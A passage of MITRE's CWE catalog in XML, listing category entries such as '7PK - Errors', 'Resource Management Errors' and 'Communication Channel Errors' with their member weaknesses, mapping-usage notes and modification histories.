               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Maintenance_Notes, Relationships, Observed_Example, Other_Notes, Taxonomy_Mappings, Type</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Observed_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Affected_Resources, Applicable_Platforms, Observed_Examples, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="388" Name="7PK - Errors" Status="Draft">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that occur when an application does not properly handle errors that occur during processing. According to the authors of the Seven Pernicious Kingdoms, "Errors and error handling represent a class of API. Errors related to error handling are so common that they deserve a special kingdom of their own. As with 'API Abuse,' there are two ways to introduce an error-related security vulnerability: the most common one is handling errors poorly (or not at all). The second is producing errors that either give out too much information (to possible attackers) or are difficult to handle."</Summary>
         <Relationships>
            <Has_Member CWE_ID="391" View_ID="700"/>
            <Has_Member CWE_ID="395" View_ID="700"/>
            <Has_Member CWE_ID="396" View_ID="700"/>
            <Has_Member CWE_ID="397" View_ID="700"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: consider mapping to weaknesses that are members of this Category.</xhtml:p>
	    </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Sean Eidemiller</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>added/updated demonstrative examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-02-16</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-04-05</Modification_Date>
               <Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Description, Name, Potential_Mitigations, References, Related_Attack_Patterns, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2018-03-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2017-11-08">Error Handling</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="389" Name="Error Conditions, Return Values, Status Codes" Status="Incomplete">
         <Summary>This category includes weaknesses that occur if a function does not generate the correct return/status code, or if the application does not handle all possible return/status codes that could be generated by a function. This type of problem is most often found in conditions that are rarely encountered during the normal operation of the product. Presumably, most bugs related to common conditions are found and eliminated during development and testing. In some cases, the attacker can directly control or influence the environment to trigger the rare conditions.</Summary>
         <Relationships>
            <Has_Member CWE_ID="209" View_ID="699"/>
            <Has_Member CWE_ID="248" View_ID="699"/>
            <Has_Member CWE_ID="252" View_ID="699"/>
            <Has_Member CWE_ID="253" View_ID="699"/>
            <Has_Member CWE_ID="390" View_ID="699"/>
            <Has_Member CWE_ID="391" View_ID="699"/>
            <Has_Member CWE_ID="392" View_ID="699"/>
            <Has_Member CWE_ID="393" View_ID="699"/>
            <Has_Member CWE_ID="394" View_ID="699"/>
            <Has_Member CWE_ID="395" View_ID="699"/>
            <Has_Member CWE_ID="396" View_ID="699"/>
            <Has_Member CWE_ID="397" View_ID="699"/>
            <Has_Member CWE_ID="544" View_ID="699"/>
            <Has_Member CWE_ID="584" View_ID="699"/>
            <Has_Member CWE_ID="617" View_ID="699"/>
            <Has_Member CWE_ID="756" View_ID="699"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-44" Section="&#34;Sin 11: Failure to Handle Errors Correctly.&#34; Page 183"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Other">Many researchers focus on the resultant weaknesses and do not necessarily diagnose whether a rare condition is the primary factor. However, since 2005 it seems to be reported more frequently than in the past. This subject needs more study.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-10-14</Modification_Date>
               <Modification_Comment>updated Description</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Description, Other_Notes, References, Relationships, Research_Gaps, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="398" Name="7PK - Code Quality" Status="Draft">
         <Summary>This category represents one of the phyla in the Seven Pernicious Kingdoms vulnerability classification. It includes weaknesses that do not directly introduce a weakness or vulnerability, but indicate that the product has not been carefully developed or maintained. According to the authors of the Seven Pernicious Kingdoms, "Poor code quality leads to unpredictable behavior. From a user's perspective that often manifests itself as poor usability. For an adversary it provides an opportunity to stress the system in unexpected ways."</Summary>
         <Relationships>
            <Has_Member CWE_ID="401" View_ID="700"/>
            <Has_Member CWE_ID="404" View_ID="700"/>
            <Has_Member CWE_ID="415" View_ID="700"/>
            <Has_Member CWE_ID="416" View_ID="700"/>
            <Has_Member CWE_ID="457" View_ID="700"/>
            <Has_Member CWE_ID="474" View_ID="700"/>
            <Has_Member CWE_ID="475" View_ID="700"/>
            <Has_Member CWE_ID="476" View_ID="700"/>
            <Has_Member CWE_ID="477" View_ID="700"/>
         </Relationships>
         <References>
            <Reference External_Reference_ID="REF-6"/>
         </References>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>7 Pernicious Kingdoms</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-10-29</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-12-13</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-27</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-05-03</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Description, Detection_Factors, Name, References, Relationships, Taxonomy_Mappings, Time_of_Introduction, Type</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-06-20</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Code Quality</Previous_Entry_Name>
            <Previous_Entry_Name Date="2017-11-08">Indicator of Poor Code Quality</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="399" Name="Resource Management Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to improper management of system resources.</Summary>
         <Relationships>
            <Has_Member CWE_ID="73" View_ID="699"/>
            <Has_Member CWE_ID="403" View_ID="699"/>
            <Has_Member CWE_ID="410" View_ID="699"/>
            <Has_Member CWE_ID="470" View_ID="699"/>
            <Has_Member CWE_ID="502" View_ID="699"/>
            <Has_Member CWE_ID="619" View_ID="699"/>
            <Has_Member CWE_ID="641" View_ID="699"/>
            <Has_Member CWE_ID="694" View_ID="699"/>
            <Has_Member CWE_ID="763" View_ID="699"/>
            <Has_Member CWE_ID="770" View_ID="699"/>
            <Has_Member CWE_ID="771" View_ID="699"/>
            <Has_Member CWE_ID="772" View_ID="699"/>
            <Has_Member CWE_ID="826" View_ID="699"/>
            <Has_Member CWE_ID="908" View_ID="699"/>
            <Has_Member CWE_ID="909" View_ID="699"/>
            <Has_Member CWE_ID="910" View_ID="699"/>
            <Has_Member CWE_ID="911" View_ID="699"/>
            <Has_Member CWE_ID="914" View_ID="699"/>
            <Has_Member CWE_ID="915" View_ID="699"/>
            <Has_Member CWE_ID="920" View_ID="699"/>
            <Has_Member CWE_ID="1188" View_ID="699"/>
            <Has_Member CWE_ID="1341" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Resource Management Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
	 <References>
	   <Reference External_Reference_ID="REF-1287" Section="Details of Problematic Mappings"/>
	 </References>
	 <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves [REF-1287]. This CWE ID may have become widely-used because of NIST's usage in NVD from 2008 to 2016 (see CWE-635 view, updated to the CWE-1003 view in 2016).</xhtml:p>
               <xhtml:p>Comments: some weakness-oriented alternatives might be found as descendants under Uncontrolled Resource Consumption (CWE-400).</xhtml:p>
	    </Note>
	 </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-05-27</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-06-23</Modification_Date>
               <Modification_Comment>updated Other_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-07-30</Modification_Date>
               <Modification_Comment>updated Detection_Factors</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Detection_Factors, Relationships</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-01-03</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-06-20</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="4" Name="DEPRECATED: J2EE Environment Issues" Status="Deprecated">
         <Summary>This entry has been deprecated.  It was originally used for organizing the Development View (CWE-699) and some other views, but it introduced unnecessary complexity and depth to the resulting tree.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
                <Submission_Name>CWE Community</Submission_Name>
                <Submission_Date>2006-07-19</Submission_Date>
				<Submission_Comment>Submitted by members of the CWE community to extend early CWE versions</Submission_Comment>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Name, Relationships, Taxonomy_Mappings, Type</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">J2EE Environment Issues</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="411" Name="Resource Locking Problems" Status="Draft">
         <Summary>Weaknesses in this category are related to improper handling of locks that are used to control access to resources.</Summary>
         <Relationships>
            <Has_Member CWE_ID="412" View_ID="699"/>
            <Has_Member CWE_ID="413" View_ID="699"/>
            <Has_Member CWE_ID="414" View_ID="699"/>
            <Has_Member CWE_ID="609" View_ID="699"/>
            <Has_Member CWE_ID="764" View_ID="699"/>
            <Has_Member CWE_ID="765" View_ID="699"/>
            <Has_Member CWE_ID="832" View_ID="699"/>
            <Has_Member CWE_ID="833" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Resource Locking problems</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes</Modification_Comment>
				</Modification>
         </Content_History>
      </Category>
      <Category ID="417" Name="Communication Channel Errors" Status="Draft">
         <Summary>Weaknesses in this category are related to improper handling of communication channels and access paths. These weaknesses include problems in creating, managing, or removing alternate channels and alternate paths. Some of these can overlap virtual file problems and are commonly used in "bypass" attacks, such as those that exploit authentication errors.</Summary>
         <Relationships>
            <Has_Member CWE_ID="322" View_ID="699"/>
            <Has_Member CWE_ID="346" View_ID="699"/>
            <Has_Member CWE_ID="385" View_ID="699"/>
            <Has_Member CWE_ID="419" View_ID="699"/>
            <Has_Member CWE_ID="420" View_ID="699"/>
            <Has_Member CWE_ID="425" View_ID="699"/>
            <Has_Member CWE_ID="515" View_ID="699"/>
            <Has_Member CWE_ID="918" View_ID="699"/>
            <Has_Member CWE_ID="924" View_ID="699"/>
            <Has_Member CWE_ID="940" View_ID="699"/>
            <Has_Member CWE_ID="941" View_ID="699"/>
            <Has_Member CWE_ID="1327" View_ID="699"/>
         </Relationships>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_ID>CHAP.VIRTFILE</Entry_ID>
               <Entry_Name>Channel and Path Errors</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Notes>
       <Note Type="Mapping">
         <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
         <xhtml:p>Rationale: this entry is a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
         <xhtml:p>Comments: See member weaknesses of this category.</xhtml:p>
        </Note>
            <Note Type="Research Gap">Most of these issues are probably under-studied. Only a handful of public reports exist.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-07-27</Modification_Date>
               <Modification_Comment>updated Other_Notes, Relationship_Notes</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2015-12-07</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-01-19</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Maintenance_Notes, Relationships</Modification_Comment>
            </Modification>
			<Modification>
				<Modification_Name>CWE Content Team</Modification_Name>
				<Modification_Organization>MITRE</Modification_Organization>
				<Modification_Date>2019-06-20</Modification_Date>
				<Modification_Comment>updated Relationships</Modification_Comment>
			</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Description, Maintenance_Notes, Name, Relationship_Notes, Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated Mapping_Notes, Relationships</Modification_Comment>
				</Modification>
			<Previous_Entry_Name Date="2020-02-24">Channel and Path Errors</Previous_Entry_Name>
         </Content_History>
      </Category>
      <Category ID="418" Name="DEPRECATED: Channel Errors" Status="Deprecated">
         <Summary>This category has been deprecated because it redundant with the grouping provided by CWE-417.</Summary>
         <Notes>
            <Note Type="Mapping">
               <xhtml:p>Use for Mapping: Prohibited (this CWE ID must not be used to map to real-world vulnerabilities).</xhtml:p>
               <xhtml:p>Rationale: This CWE has been deprecated. It is also a Category. Using categories for mapping has been an actively discouraged practice since at least 2019.  Categories are informal organizational groupings of weaknesses that help navigation and browsing by CWE users, but they are not weaknesses in themselves.</xhtml:p>
               <xhtml:p>Comments: see description for suggestions of other CWEs to consider.</xhtml:p>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
